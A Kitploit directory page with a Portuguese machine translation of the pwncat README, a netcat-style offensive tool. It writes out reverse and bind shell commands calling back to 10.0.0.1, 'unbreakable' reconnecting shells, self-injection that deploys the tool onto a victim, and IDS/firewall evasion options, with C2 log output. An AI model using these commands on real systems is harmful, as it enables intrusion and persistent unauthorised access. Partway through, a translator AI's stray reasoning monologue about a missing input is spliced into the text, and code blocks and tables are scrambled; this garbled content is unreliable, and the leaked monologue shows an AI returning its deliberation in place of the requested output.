Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
pwncat — pwncat - netcat turbinado com evasão de Firewall, IDS/IPS, shell bind e reversa, shell de auto-injeção e mágica de encaminhamento de portas - e é totalmente scriptável com Python (PSE) | Kitploit
Ferramentas/GitHubGitHub/cytopia/pwncat
Geração de PayloadsEscaneamento de PortasEvasão de IDS/IPSMovimento LateralScripting e AutomaçãoPós-ExploraçãoTestes de PenetraçãoComando e ControleUtilitários e FrameworksRed Teaming
GitHubcytopia/pwncat
2.0k214há 4 anosRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

pwncat

pwncat - netcat turbinado com evasão de Firewall, IDS/IPS, shell bind e reversa, shell de auto-injeção e mágica de encaminhamento de portas - e é totalmente scriptável com Python (PSE)

Ver RepositórioSite

Documentação | Instalar | TL;DR | Funcionalidades | Comportamento | Uso | Exemplos | FAQ | Contribuir | Aviso Legal | Licença


pwncat banner

pwncat

Documentation Status PyPI PyPI - Status PyPI - Python Version PyPI - Format PyPI - Implementation PyPI - License

Build Status Build Status

 

Netcat turbinado com evasão de Firewall, IDS/IPS, shell reverso e bind, shell auto-injetável e magia de encaminhamento de portas - e totalmente scriptável com Python (PSE). - docs.pwncat.org

 

[1] Cobertura de tipos mypy (totalmente tipado: 94.00%)
[2] Builds com falha não indicam funcionalidade quebrada. Testes de integração rodam por várias horas e falham esporadicamente por vários motivos (timeouts de rede, cancelamentos desconhecidos do GitHub Actions, etc): #735, #841

Motivação

Já apertou Ctrl+c acidentalmente no seu reverse shell e ele sumiu para sempre? Já esperou eternamente pelo seu cliente conectar de volta, porque o Firewall não deixava ele sair? Já perdeu a conexão porque um IPS fechou portas suspeitas? Já precisou de um encaminhamento de porta rápido?

Este aqui resolve para você.

Além disso, os recursos atuais do nc, ncat ou socat simplesmente não atendiam minhas necessidades e eu também queria ter uma única ferramenta que funcionasse em máquinas antigas e novas (daí compatibilidade com Python 2+3). Mais importante, eu queria ter em uma linguagem que eu consigo entender e adicionar meus próprios recursos. (Aguarde, lançamentos binários para Linux, MacOS e Windows virão em breve).

📕 Documentação

🎉 Instalar

Versão atual: 0.1.2

Genérico

Pip
pip install pwncat

Específico por SO

[1]: Repositório Epel
[2]: Instável

☕ TL;DR

Este é apenas um resumo rápido para começar. Para técnicas mais avançadas veja 💻 Uso ou 💡 Exemplos.

Veja em ação

Reversos inquebráveis - como gerar

Implantar no alvo```bash

Copy base64 data to clipboard from where you have internet access

curl https://raw.githubusercontent.com/cytopia/pwncat/master/bin/pwncat | base64

Paste it on the target machine

echo "" | base64 -d > pwncat chmod +x pwncat

root@kitploit:~
### Injetar no alvo```bash
# [1] If you found a vulnerability on the target to start a very simple reverse shell,
# such as via bash, php, perl, python, nc or similar, you can instruct your local
# pwncat listener to use this connection to deploy itself on the target automatically
# and start an additional unbreakable reverse shell back to you.
pwncat -l 4444 --self-inject /bin/bash:10.0.0.1:4445

[1] Leia em mais detalhes sobre auto-injeção

Convocar shells```bash

Bind shell (accepts new clients after disconnect)

pwncat -l -e '/bin/bash' 8080 -k

root@kitploit:~
```bash
# Reverse shell (Ctrl+c proof: reconnects back to you)
pwncat -e '/bin/bash' example.com 4444 --reconn --recon-wait 1
root@kitploit:~
# Reverse UDP shell (Ctrl+c proof: reconnects back to you)
pwncat -e '/bin/bash' example.com 4444 -u --ping-intvl 1

Varredura de portas```bash

[TCP] IPv4 + IPv6

pwncat -z 10.0.0.1 80,443,8080 pwncat -z 10.0.0.1 1-65535 pwncat -z 10.0.0.1 1+1023

[UDP] IPv4 + IPv6

pwncat -z 10.0.0.1 80,443,8080 -u pwncat -z 10.0.0.1 1-65535 -u pwncat -z 10.0.0.1 1+1023 -u

Use only IPv6 or IPv4

pwncat -z 10.0.0.1 1-65535 -4 pwncat -z 10.0.0.1 1-65535 -6 -u

Add version detection

pwncat -z 10.0.0.1 1-65535 --banner

root@kitploit:~
### Redirecionamento de porta local `-L` (proxy de escuta)```bash
# Make remote MySQL server (remote port 3306) available on current machine
# on every interface on port 5000
pwncat -L 0.0.0.0:5000 everythingcli.org 3306
root@kitploit:~
# Same, but convert traffic on your end to UDP
pwncat -L 0.0.0.0:5000 everythingcli.org 3306 -u

Encaminhamento de porta remoto -R (proxy de cliente duplo)```bash

Connect to Remote MySQL server (remote port 3306) and then connect to another

pwncat/netcat server on 10.0.0.1:4444 and bridge traffic

pwncat -R 10.0.0.1:4444 everythingcli.org 3306

root@kitploit:~
```bash
# Same, but convert traffic on your end to UDP
pwncat -R 10.0.0.1:4444 everythingcli.org 3306 -u

Túnel SSH por diversão e lucro 🔗
pwncat exemplo: Magia de encaminhamento de porta

⭐ Recursos

De relance

pwncat tem muitos recursos, abaixo está apenas uma lista de características notáveis.

Matriz de comparação de recursos

* Recurso está atualmente em desenvolvimento.

👮 Comportamento

Como a implementação original do netcat, ao usar TCP, o pwncat (em modo cliente e escuta) sairá automaticamente, se a conexão de rede for encerrada, de forma correta ou incorreta. Caso o peer remoto não encerre a conexão, ou em modo UDP, o netcat e o pwncat permanecerão abertos. O comportamento difere um pouco quando o STDIN é fechado.

  1. netcat: Se o STDIN for fechado, mas a conexão permanecer aberta, o netcat permanecerá aberto
  2. pwncat: Se o STDIN for fechado, mas a conexão permanecer aberta, o pwncat fechará

Você pode emular o comportamento do netcat com o argumento de linha de comando --no-shutdown.

Dê uma olhada nos seguintes comandos para entender melhor este comportamento:```bash

[Valid HTTP request] Quits, web server keeps connection intact, but STDIN is EOF

printf "GET / HTTP/1.1\n\n" | pwncat www.google.com 80

[Valid HTTP request] Does not quit, web server keeps connection intact, but STDIN is EOF

printf "GET / HTTP/1.1\n\n" | pwncat www.google.com 80 --no-shutdown

root@kitploit:~
Please provide the Markdown content to translate.```bash
# [Invalid HTTP request] Quits, because the web server closes the connection and STDIN is EOF
printf "GET / \n\n" | pwncat www.google.com 80

A saída deve se parecer com esta```bash

[TCP]

Both instances will quit after successful file transfer.

pwncat -l 4444 > output.txt pwncat localhost 4444 < input.txt

[TCP]

Neither of both, client and server will quit after successful transfer

and they will be stuck, waiting for more input or output.

When exiting one (e.g.: via Ctrl+c), the other one will quit as well.

pwncat -l 4444 --no-shutdown > output.txt pwncat localhost 4444 --no-shutdown < input.txt

root@kitploit:~
Esteja ciente de que não é confiável enviar arquivos via UDP```bash
# [UDP] (--no-shutdown has no effect, as this is the default behaviour in UDP)
# Neither of both, client and server will quit after successful transfer
# and they will be stuck, waiting for more input or output.
# When exiting one (e.g.: via Ctrl+c), the other one will still stay open in UDP mode.
pwncat -u -l 4444 > output.txt
pwncat -u localhost 4444 < input.txt

Existem muitas maneiras de alterar esse comportamento padrão. Consulte a seção de uso para configurações mais avançadas.

💻 Uso

Teclas

[1] Funciona apenas quando não se usa --no-shutdown e --keep. Nesse caso, fechará seu socket de envio, sinalizando o fim do arquivo (EOF) na extremidade remota e no seu socket.

Argumentos de linha de comando

Digite pwncat -h ou clique abaixo para ver todas as opções disponíveis.

Clique aqui para expandir o uso``` usage: pwncat [options] hostname port pwncat [options] -l [hostname] port pwncat [options] -z hostname port pwncat [options] -L [addr:]port hostname port pwncat [options] -R addr:port hostname port pwncat -V, --version pwncat -h, --help

Enhanced and compatible Netcat implementation written in Python (2 and 3) with connect, zero-i/o, listen and forward modes and techniques to detect and evade firewalls and intrusion detection/prevention systems.

If no mode arguments are specified, pwncat will run in connect mode and act as a client to connect to a remote endpoint. If the connection to the remote endoint is lost, pwncat will quit. See options for how to automatically re- connect.

positional arguments: hostname Address to listen, forward, scan or connect to.

port [All modes] Single port to listen, forward or connect to. [Zero-I/O mode] Specify multiple ports to scan: Via list: 4444,4445,4446 Via range: 4444-4446 Via incr: 4444+2

mode arguments: -l, --listen [Listen mode]: Start a server and listen for incoming connections. If using TCP and a connected client disconnects or the connection is interrupted otherwise, the server will quit. See -k/--keep-open to change this behaviour.

-z, --zero [Zero-I/0 mode]: Connect to a remote endpoint and report status only. Used for port scanning. See --banner for version detection.

-L [addr:]port, --local [addr:]port [Local forward mode]: This mode will start a server and a client internally. The internal server will listen locally on specified addr/port (given by --local [addr:]port). The server will then forward traffic to the internal client which connects to another server specified by hostname/port given via positional arguments. (I.e.: proxies a remote service to a local address)

-R addr:port, --remote addr:port [Remote forward mode]: This mode will start two clients internally. One is connecting to the target and one is connecting to another pwncat/netcat server you have started some- where. Once connected, it will then proxy traffic between you and the target. This mode should be applied on machines that block incoming traffic and only allow outbound. The connection to your listening server is given by -R/--remote addr:port and the connection to the target machine via the positional arguments.

optional arguments: -e cmd, --exec cmd Execute shell command. Only for connect or listen mode.

-C lf, --crlf lf Specify, 'lf', 'crlf' or 'cr' to always force replacing line endings for input and outout accordingly. Specify 'no' to completely remove any line feeds. By default it will not replace anything and takes what is entered (usually CRLF on Windows, LF on Linux and some times CR on MacOS).

-n, --nodns Do not resolve DNS.

--send-on-eof Buffer data received on stdin until EOF and send everything in one chunk.

Baixar ferramenta
Estilo de Código Testes de Integração [2]
EstilizadorStatus
Black
mypy [1]
pycodestyle
pydocstyle
pylint
PythonSOLinuxMacOSWindows
2.7
3.5
3.6
3.7
3.8
pypy2
pypy3
Documentação do PwncatLink
Documentação oficialhttps://docs.pwncat.org
Site oficialhttps://pwncat.org
Documentação da APIhttps://pwncat.org/pwncat.api.html
Pwncat Scripting EnginePSE
MacOSArch LinuxBlackArchCentOS[1]
mac_imgarch_imgbarch_imgcentos_img
brew install pwncatyay -S pwncatpacman -S pwncatyum install pwncat
FedoraKali LinuxNixOS[2]Oracle Linux[1]
fedora_imgkali_imgnix_imgoracle_img
dnf install pwncatapt install pwncatnixos.pwncatyum install pwncat
PentooParrot OS
pentoo_imgparrot_img
net-analyzer/pwncatapt install pwncat


Reversos inquebráveis - múltiplos shells

RecursoDescrição
PSETotalmente programável com o Pwncat Scripting Engine para permitir todo tipo de coisas sofisticadas no envio e recebimento
varredura de portasVarredura de portas TCP e UDP com suporte básico a detecção de versão
rshell auto-injetávelModo auto-injetável para implantar-se e iniciar um reverse shell inquebrável de volta para você automaticamente
Bind shellCriar bind shells
Reverse shellCriar reverse shells
Encaminhamento de portaEncaminhamento de porta local e remoto (servidor/cliente proxy)
Ctrl+cO reverse shell pode reconectar se você acidentalmente pressionar Ctrl+c
Detectar EgressoEscaneie e reporte portas de egresso abertas no alvo (salto de porta)
Evasão de FWEvite firewalls de egresso usando round-robin nas portas de saída (salto de porta)
Evasão de IPSEvite Sistemas de Prevenção de Intrusão sendo capaz de fazer round-robin nas portas de saída em interrupções de conexão (salto de porta)
UDP rev shellExperimente isso com o netcat tradicional
UDP com estadoFase de conexão com estado para modo cliente UDP
TCP / UDPSuporte completo a TCP e UDP
IPv4 / IPv6Suporte dual ou single stack IPv4 e IPv6
Python 2+3Funciona com Python 2, Python 3, pypy2 e pypy3
MultiplataformaFunciona em Linux, MacOS e Windows desde que Python esteja disponível
CompatibilidadeUse o netcat, ncat ou socat como cliente ou servidor junto com pwncat
PortátilArquivo único que usa apenas pacotes principais - sem dependências externas necessárias.
pwncatnetcatncatsocat
Motor de script✔ Python❌✔ Lua❌
IP ToS✔✔❌✔
IPv4✔✔✔✔
IPv6✔✔✔✔
Sockets de domínio Unix❌✔✔✔
Linux vsock❌❌✔❌
Bind de origem do socket✔✔✔✔
TCP✔✔✔✔
UDP✔✔✔✔
SCTP❌❌✔✔
SSL❌❌✔✔
HTTP✔❌❌❌
HTTPS*❌❌❌
Negociação Telnet❌✔✔❌
Suporte a proxy❌✔✔✔
Encaminhamento de porta local✔❌❌✔
Encaminhamento de porta remoto✔❌❌❌
Varredura de porta de entrada✔✔✔❌
Varredura de porta de saída✔❌❌❌
Detecção de versão✔❌❌❌
Chat✔✔✔✔
Execução de comandos✔✔✔✔
Hex dump*✔✔✔
Broker❌❌✔❌
Conexões simultâneas❌❌✔✔
Permitir/negar❌❌✔✔
Re-aceitar✔✔✔✔
Auto-injeção✔❌❌❌
UDP reverse shell✔❌❌❌
Cliente com re-spawn✔❌❌❌
Salto de porta✔❌❌❌
Desligamento de emergência✔❌❌❌
ComportamentoAltAltAlt
Sair (SIGINT)Ctrl+cCtrl+cCtrl+c
Sair (SIGQUIT)Ctrl+\??
Sair (SIGQUIT)Ctrl+4??
Sair STDIN[1]Ctrl+dCtrl+dCtrl+z e Ctrl+Enter
Enviar (NL)Ctrl+j??
Enviar (EOL)Ctrl+m??
Enviar (EOL)EnterEnterEnter

--no-shutdown Do not shutdown into half-duplex mode. If this option is passed, pwncat won't invoke shutdown on a socket after seeing EOF on stdin. This is provided for backward-compatibility with OpenBSD netcat, which exhibits this behavior.

-v, --verbose Be verbose and print info to stderr. Use -v, -vv, -vvv or -vvvv for more verbosity. The server performance will decrease drastically if you use more than three times.

--info type Show additional info about sockets, IPv4/6 or TCP opts applied to the current socket connection. Valid parameter are 'sock', 'ipv4', 'ipv6', 'tcp' or 'all'. Note, you must at least be in INFO verbose mode in order to see them (-vv).

-c str, --color str Colored log output. Specify 'always', 'never' or 'auto'. In 'auto' mode, color is displayed as long as the output goes to a terminal. If it is piped into a file, color will automatically be disabled. This mode also disables color on Windows by default. (default: auto)

--safe-word str All modes: If pwncat is started with this argument, it will shut down as soon as it receives the specified string. The --keep-open (server) or --reconn (client) options will be ignored and it won't listen again or reconnect to you. Use a very unique string to not have it shut down accidentally by other input.

protocol arguments: -4 Only Use IPv4 (default: IPv4 and IPv6 dualstack).

-6 Only Use IPv6 (default: IPv4 and IPv6 dualstack).

-u, --udp Use UDP for the connection instead of TCP.

-T str, --tos str Specifies IP Type of Service (ToS) for the connection. Valid values are the tokens 'mincost', 'lowcost', 'reliability', 'throughput' or 'lowdelay'.

--http Connect / Listen mode (TCP and UDP): Hide traffic in http packets to fool Firewalls/IDS/IPS.

--https Connect / Listen mode (TCP and UDP): Hide traffic in https packets to fool Firewalls/IDS/IPS.

-H [str [str ...]], --header [str [str ...]] Add HTTP headers to your request when using --http(s).

command & control arguments: --self-inject cmd:host:port[s] Listen mode (TCP only): If you are about to inject a reverse shell onto the victim machine (via php, bash, nc, ncat or similar), start your listening server with this argument. This will then (as soon as the reverse shell connects) automatically deploy and background-run an unbreakable pwncat reverse shell onto the victim machine which then also connects back to you with specified arguments. Example: '--self-inject /bin/bash:10.0.0.1:4444' It is also possible to launch multiple reverse shells by specifying multiple ports. Via list: --self-inject /bin/sh:10.0.0.1:4444,4445,4446 Via range: --self-inject /bin/sh:10.0.0.1:4444-4446 Via incr: --self-inject /bin/sh:10.0.0.1:4444+2 Note: this is currently an experimental feature and does not work on Windows remote hosts yet.

pwncat scripting engine: --script-send file All modes (TCP and UDP): A Python scripting engine to define your own custom transformer function which will be executed before sending data to a remote endpoint. Your file must contain the exact following function which will: be applied as the transformer: def transform(data, pse): # NOTE: the function name must be 'transform' # NOTE: the function param name must be 'data' # NOTE: indentation must be 4 spaces # ... your transformations goes here return data You can also define as many custom functions or classes within this file, but ensure to prefix them uniquely to not collide with pwncat's function or classes, as the file will be called with exec().

--script-recv file All modes (TCP and UDP): A Python scripting engine to define your own custom transformer function which will be executed after receiving data from a remote endpoint. Your file must contain the exact following function which will: be applied as the transformer: def transform(data, pse): # NOTE: the function name must be 'transform' # NOTE: the function param name must be 'data' # NOTE: indentation must be 4 spaces # ... your transformations goes here return data You can also define as many custom functions or classes within this file, but ensure to prefix them uniquely to not collide with pwncat's function or classes, as the file will be called with exec().

zero-i/o mode arguments: --banner Zero-I/O (TCP and UDP): Try banner grabbing during port scan.

listen mode arguments: -k, --keep-open Listen mode (TCP only): Re-accept new clients in listen mode after a client has disconnected or the connection is interrupted otherwise. (default: server will quit after connection is gone)

--rebind [x] Listen mode (TCP and UDP): If the server is unable to bind, it will re-initialize itself x many times before giving up. Omit the quantifier to rebind endlessly or specify a positive integer for how many times to rebind before giving up. See --rebind-robin for an interesting use-case. (default: fail after first unsuccessful try).

--rebind-wait s Listen mode (TCP and UDP): Wait x seconds between re-initialization. (default: 1)

--rebind-robin port Listen mode (TCP and UDP): If the server is unable to initialize (e.g: cannot bind and --rebind is specified, it it will shuffle ports in round-robin mode to bind to. Use comma separated string such as '80,81,82,83', a range of ports '80-83' or an increment '80+3'. Set --rebind to at least the number of ports to probe +1 This option requires --rebind to be specified.

connect mode arguments: --source-addr addr Specify source bind IP address for connect mode.

--source-port port Specify source bind port for connect mode.

--reconn [x] Connect mode (TCP and UDP): If the remote server is not reachable or the connection is interrupted, the client will connect again x many times before giving up. Omit the quantifier to retry endlessly or specify a positive integer for how many times to retry before giving up. (default: quit if the remote is not available or the connection was interrupted) This might be handy for stable TCP reverse shells ;-) Note on UDP: By default UDP does not know if it is connected, so it will stop at the first port and assume it has a connection. Consider using --udp-sconnect with this option to make UDP aware of a successful connection.

--reconn-wait s Connect mode (TCP and UDP): Wait x seconds between re-connects. (default: 1)

--reconn-robin port Connect mode (TCP and UDP): If the remote server is not reachable or the connection is interrupted and --reconn is specified, the client will shuffle ports in round-robin mode to connect to. Use comma separated string such as '80,81,82,83', a range of ports '80-83' or an increment '80+3'. Set --reconn to at least the number of ports to probe +1 This helps reverse shell to evade intrusiona prevention systems that will cut your connection and block the outbound port. This is also useful in Connect or Zero-I/O mode to figure out what outbound ports are allowed.

--ping-init Connect mode (TCP and UDP): UDP is a stateless protocol unlike TCP, so no hand- shake communication takes place and the client just sends data to a server without being "accepted" by the server first. This means a server waiting for an UDP client to connect to, is unable to send any data to the client, before the client hasn't send data first. The server simply doesn't know the IP address before an initial connect. The --ping-init option instructs the client to send one single initial ping packet to the server, so that it is able to talk to the client. This is a way to make a UDP reverse shell work. See --ping-word for what char/string to send as initial ping packet (default: '\0')

--ping-intvl s Connect mode (TCP and UDP): Instruct the client to send ping intervalls every s sec. This allows you to restart your UDP server and just wait for the client to report back in. This might be handy for stable UDP reverse shells ;-) See --ping-word for what char/string to send as initial ping packet (default: '\0')

--ping-word str Connect mode (TCP and UDP): Change the default character '\0' to use for upd ping. Single character or strings are supported.

--ping-robin port Connect mode (TCP and UDP): Instruct the client to shuffle the specified ports in round-robin mode for a remote server to ping. This might be handy to scan outbound allowed ports. Use comma separated string such as '80,81,82,83', a range of ports '80-83' or an increment '80+3'. Use --ping-intvl 0 to be faster.

--udp-sconnect Connect mode (UDP only): Emulating stateful behaviour for UDP connect phase by sending an initial packet to the server to validate if it is actually connected. By default, UDP will simply issue a connect and is not aware if it is really connected or not. The default connect packet to be send is '\0', you can change this with --udp-sconnect-word.

--udp-sconnect-word [str] Connect mode (UDP only): Change the the data to be send for UDP stateful connect behaviour. Note you can also omit the string to send an empty packet (EOF), but be aware that some servers such as netcat will instantly quit upon receive of an EOF packet. The default is to send a null byte sting: '\0'.

misc arguments: -h, --help Show this help message and exit -V, --version Show version information and exit

root@kitploit:~
</details>


## :bulb: Exemplos

### Atualize seu shell para interativo
<!--
<details>
  <summary>Clique para expandir</summary>
-->

> Este é um conselho universal e não funciona apenas com o `pwncat`, mas com todas as outras ferramentas comuns.

Quando conectado com um shell reverso ou bind, você notará que nenhum comando interativo funcionará e
pressionar <kbd>Ctrl</kbd>+<kbd>c</kbd> encerrará sua sessão.
Para corrigir isso, você precisará anexá-lo a um TTY (torná-lo interativo). Veja como:```bash
python3 -c 'import pty; pty.spawn("/bin/bash")'

Ctrl+z```bash

get your current terminal size (rows and columns)

stty size

for bash/sh (enter raw mode and disable echo'ing)

stty raw -echo fg

for zsh (enter raw mode and disable echo'ing)

stty raw -echo; fg

reset export SHELL=bash export TERM=xterm stty rows columns # and values found above by 'stty size'

root@kitploit:~
> <sup>[1] [Folha de Dicas de Reverse Shell](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md#spawn-tty-shell)</sup>


### UDP reverse shell
Sem truques, um shell reverso UDP não é realmente possível. UDP é um protocolo sem estado comparado ao TCP e não possui um método `connect()` como o TCP.
No modo TCP, o servidor saberá o IP e a porta do cliente, uma vez que o cliente emite um `connects()`.
No modo UDP, como não há `connect()`, o cliente simplesmente envia dados para um endereço/porta sem precisar conectar primeiro.
Portanto, no modo UDP, o servidor não conseguirá saber o IP e a porta do cliente e, portanto, não pode enviar dados para ele primeiro.
A única maneira de tornar isso possível é fazer com que o cliente envie algum tipo de dados para o servidor primeiro, para que o servidor possa ver qual IP/porta enviou dados para ele.

`pwncat` emula o `connect()` do TCP fazendo o cliente enviar um byte nulo para o servidor uma vez ou periodicamente via `--ping-intvl` ou `--ping-init`.```bash
# The client
# --exec            # Provide this executable
# --udp             # Use UDP mode
# --ping-init       # Send an initial null byte to the server
pwncat --exec /bin/bash --udp --ping-init 10.0.0.1 4444

Shell reverso TCP inquebrável

Por que inquebrável? Porque continuará voltando para você, mesmo que você mate temporariamente seu servidor de escuta. Em outras palavras, o cliente continuará tentando conectar ao servidor especificado até obter sucesso. Se a conexão for interrompida, continuará tentando novamente.```bash

The client

--exec # Provide this executable

--nodns # Keep the noise down and don't resolve hostnames

-reconn # Automatically reconnect back to you indefinitely

--reconn-wait # If connection is lost, connect back to you every 2 seconds

pwncat --exec /bin/bash --nodns --reconn --reconn-wait 2 10.0.0.1 4444

root@kitploit:~
### Shell reverso UDP inquebrável
Por que inquebrável? Porque continuará voltando para você, mesmo que você mate temporariamente seu servidor de escuta.
Em outras palavras, o cliente continuará enviando bytes nulos ao servidor para anunciar-se constantemente.```bash
# The client
# --exec            # Provide this executable
# --nodns           # Keep the noise down and don't resolve hostnames
# --udp             # Use UDP mode
# --ping-intvl      # Ping the server every 2 seconds

pwncat --exec /bin/bash --nodns --udp --ping-intvl 2 10.0.0.1 4444

Shell reverso auto-injetante

Imagine que você é capaz de criar um shell reverso muito simples e instável do alvo para sua máquina, como um web shell via script PHP ou similar. Sabendo que isso não persistirá por muito tempo ou pode quebrar devido a uma conexão de rede instável, você poderia usar pwncat para conectar-se a essa conexão e implantar-se de forma inquebrável no alvo - totalmente automatizado.

Ver no Youtube

Tudo o que você precisa fazer é usar pwncat como seu listener local e iniciá-lo com a opção --self-inject. Assim que o cliente (por exemplo: o web shell reverso) se conectar a ele, ele fará algumas coisas:

  1. Enumerar a disponibilidade e versões do Python no alvo
  2. Despejar a si mesmo codificado em base64 no alvo
  3. Usar o Python do alvo para decodificar a si mesmo.
  4. Usar o Python do alvo para iniciar a si mesmo como um shell reverso inquebrável de volta para você

Uma vez feito isso, você pode continuar usando a conexão atual ou simplesmente abandoná-la e iniciar um novo listener (sim, você não precisa iniciar o listener antes de iniciar o shell reverso) para que o novo cliente pwncat se conecte a você. O novo listener também não precisa ser pwncat, pode ser netcat ou ncat.

A opção --self-inject:```bash pwncat -l 4444 --self-inject ::

root@kitploit:~
* `<cmd>`: Este é o comando para iniciar no alvo (como `-e`/`--exec`, então você quer que seja `cmd.exe` ou `/bin/bash`)
* `<host>`: Este é para sua máquina local, o endereço IP para onde o shell reverso deve conectar de volta
* `<port>`: Este é para sua máquina local, a porta na qual o shell reverso deve conectar de volta

Então imagine que sua máquina Kali é 10.0.0.1. Você instrui seu webshell que injeta em um servidor Linux a se conectar a você na porta `4444`:```bash
# Start this locally, before starting the reverse webshell
pwncat -l 4444 --self-inject /bin/bash:10.0.0.1:4445

". Possibly the actual chunk is missing due to copy-paste error. As an AI, I must follow instructions strictly. The instruction says "Translate the following Kitploit tool content." and then describes chunk-specific rules. It says "INPUT: You will then see something like this:" but the actual input is not present.

Given the ambiguity, the safest approach is to not produce any output, because I cannot translate something that isn't there. However, the model might be expected to output a translation. Since the user likely intended to provide the chunk but forgot, I could output nothing and hope the user corrects. But that might break the conversation.

Perhaps the user expects me to respond with a placeholder or an error message. But the rules forbid any preamble or commentary. So I cannot say "No content provided."

Maybe the "You will then see something like this:" is part of the input? That sentence could be considered natural language to be translated. But it says "INPUT:" and then the sentence. So the actual input might be: "You will then see something like this:" and then nothing else. That seems unlikely.

Given the constraints, I will output only the translation of that sentence if it is the actual input. But the chunk-specific rules say "Translate ONLY the exact text provided". The text provided after "INPUT:" is "You will then see something like this:" (with a colon). That is a sentence. So I should translate that to Portuguese. But then it says "response" on the next line? No, the user message ends with "response". Actually, the entire user message is:

"Translate the following Kitploit tool content. This is chunk 41 of 91 from a longer Markdown document being translated in sequence. The source language is en. Target language: pt. Content type: README chunk 41/91.

CHUNK-SPECIFIC RULES: ... INPUT: You will then see something like this: "

Then there is a blank line and then "response". That "response" might be the start of the assistant's response? The formatting is confusing. The user likely intended to paste the chunk after "INPUT:" but it wasn't included.

Given the instruction "Return ONLY the translated text. No preamble, no commentary", if I output nothing, it's not a violation. But it might be considered incomplete. However, I think the best action is to respond with the translation of the provided text: "You will then see something like this:" -> "Você verá algo assim:" . But that seems pointless.

I will assume the chunk is missing and not produce a translation. The model should remain silent? That would be unusual.

Looking at the system prompt: "You are a specialised cybersecurity tool content translator for Kitploit... Return ONLY the translated text." So if there is no input, there is nothing to return. I can output an empty string. But that might cause issues.

Given the structure of the conversation, the user message ends with "INPUT:\nYou will then see something like this:\n" and then the assistant is supposed to respond. Perhaps the assistant's previous response included the chunk? No, this is a fresh start.

I think the safest is to output nothing, but that will likely be interpreted as an error. Alternatively, I can output the translation of the sentence "You will then see something like this:" to Portuguese, but it doesn't make sense as a README chunk translation.

Given the instruction that this is chunk 41/91 of a longer document, the chunk likely contains actual tool content. Without it, I cannot proceed. I'll respond with an empty string.``` [PWNCAT CnC] Probing for: /bin/python [PWNCAT CnC] Probing for: /bin/python2 [PWNCAT CnC] Probing for: /bin/python2.7 [PWNCAT CnC] Probing for: /bin/python3 [PWNCAT CnC] Probing for: /bin/python3.5 [PWNCAT CnC] Probing for: /bin/python3.6 [PWNCAT CnC] Probing for: /bin/python3.7 [PWNCAT CnC] Probing for: /bin/python3.8 [PWNCAT CnC] Probing for: /usr/bin/python [PWNCAT CnC] Potential path: /usr/bin/python [PWNCAT CnC] Found valid Python2 version: 2.7.16 [PWNCAT CnC] Creating tmpfile: /tmp/tmp3CJ8Us [PWNCAT CnC] Creating tmpfile: /tmp/tmpgHg7YT [PWNCAT CnC] Uploading: /home/cytopia/tmp/pwncat/bin/pwncat -> /tmp/tmpgHg7YT (3422/3422) [PWNCAT CnC] Decoding: /tmp/tmpgHg7YT -> /tmp/tmp3CJ8Us Starting pwncat rev shell: nohup /usr/bin/python /tmp/tmp3CJ8Us --exec /bin/bash --reconn --reconn-wait 1 10.0.0.1 4445 &

root@kitploit:~
E está pronto. Agora você pode iniciar outro ouvinte localmente em `4445` (novamente, ele irá conectar-se de volta a você sem parar, então não é necessário iniciar o ouvinte primeiro).```bash
# either netcat
nc -lp 4445
# or ncat
ncat -l 4445
# or pwncat
pwncat -l 4445

Shells reversos auto-injetáveis ilimitados

Em vez de apenas solicitar um único shell reverso auto-injetável, você pode instruir o pwncat a gerar quantos shells reversos inquebráveis ​​conectando-se de volta a você desejar.

Ver no YouTube

O argumento --self-inject permite que você não apenas defina uma única porta, mas também

  1. Uma lista separada por vírgulas de portas: 4445,4446,4447,4448
  2. Uma definição de intervalo: 4446-4448
  3. Um incremento: 4445+3

Para gerar 4 shells reversos, você iniciaria seu listener exatamente como descrito acima, mas em vez de uma única porta, você define múltiplas:```bash

Comma separated

pwncat -l 4444 --self-inject /bin/bash:10.0.0.1:4445,4446,4447,4448

Range

pwncat -l 4444 --self-inject /bin/bash:10.0.0.1:4445-4448

Increment

pwncat -l 4444 --self-inject /bin/bash:10.0.0.1:4445+3

root@kitploit:~
Cada um dos três comandos acima alcançará o mesmo comportamento: gerar 4 shells reversas dentro do alvo. Assim que o cliente conectar, a saída será algo como:```
[PWNCAT CnC] Probing for: /bin/python
[PWNCAT CnC] Probing for: /bin/python2
[PWNCAT CnC] Probing for: /bin/python2.7
[PWNCAT CnC] Probing for: /bin/python3
[PWNCAT CnC] Probing for: /bin/python3.5
[PWNCAT CnC] Probing for: /bin/python3.6
[PWNCAT CnC] Probing for: /bin/python3.7
[PWNCAT CnC] Probing for: /bin/python3.8
[PWNCAT CnC] Probing for: /usr/bin/python
[PWNCAT CnC] Potential path: /usr/bin/python
[PWNCAT CnC] Found valid Python2 version: 2.7.16
[PWNCAT CnC] Creating tmpfile: /tmp/tmp3CJ8Us
[PWNCAT CnC] Creating tmpfile: /tmp/tmpgHg7YT
[PWNCAT CnC] Uploading: /home/cytopia/tmp/pwncat/bin/pwncat -> /tmp/tmpgHg7YT (3422/3422)
[PWNCAT CnC] Decoding: /tmp/tmpgHg7YT -> /tmp/tmp3CJ8Us
Starting pwncat rev shell: nohup /usr/bin/python /tmp/tmp3CJ8Us --exec /bin/bash --reconn --reconn-wait 1 10.0.0.1 4445 &
Starting pwncat rev shell: nohup /usr/bin/python /tmp/tmp3CJ8Us --exec /bin/bash --reconn --reconn-wait 1 10.0.0.1 4446 &
Starting pwncat rev shell: nohup /usr/bin/python /tmp/tmp3CJ8Us --exec /bin/bash --reconn --reconn-wait 1 10.0.0.1 4447 &
Starting pwncat rev shell: nohup /usr/bin/python /tmp/tmp3CJ8Us --exec /bin/bash --reconn --reconn-wait 1 10.0.0.1 4448 &

Logging

Nota: Certifique-se de que possui um shell reverso que continua retornando a você. Dessa forma, você pode sempre alterar suas configurações de logging sem perder o shell.

